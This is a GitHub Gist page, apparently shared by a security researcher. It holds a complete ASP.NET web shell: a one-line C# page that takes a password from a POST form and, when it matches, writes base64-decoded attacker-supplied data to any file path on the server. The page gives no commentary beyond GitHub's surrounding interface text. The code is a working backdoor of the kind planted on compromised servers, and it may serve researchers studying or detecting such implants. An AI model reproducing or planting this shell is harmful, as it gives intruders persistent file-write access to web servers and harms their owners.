Created
August 21, 2021 05:56
-
-
Save JohnHammond/f1455dba72a054875bc006f9fb2f95bb to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<%@ Page Language="C#"%><%@ Import Namespace="System" %><%@ Import Namespace="System.IO" %><%@ Import Namespace="System.Text" %><% string Auth=Request.Form["auth"];string MyAuth="[REDACTED]";if(String.Compare(Auth,MyAuth)==0){string Path=Request.Form["[REDACTED]"];string Data1=Request.Form["[REDACTED]"];try{FileStream fileStream = new FileStream(Path, FileMode.CreateNew);byte[] bytes = Convert.FromBase64String(Data1);fileStream.Write(bytes, 0,bytes.Length);fileStream.Flush();fileStream.Close();}catch{Response.Write("File maybe exists!!Please change file name!!");}} %> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment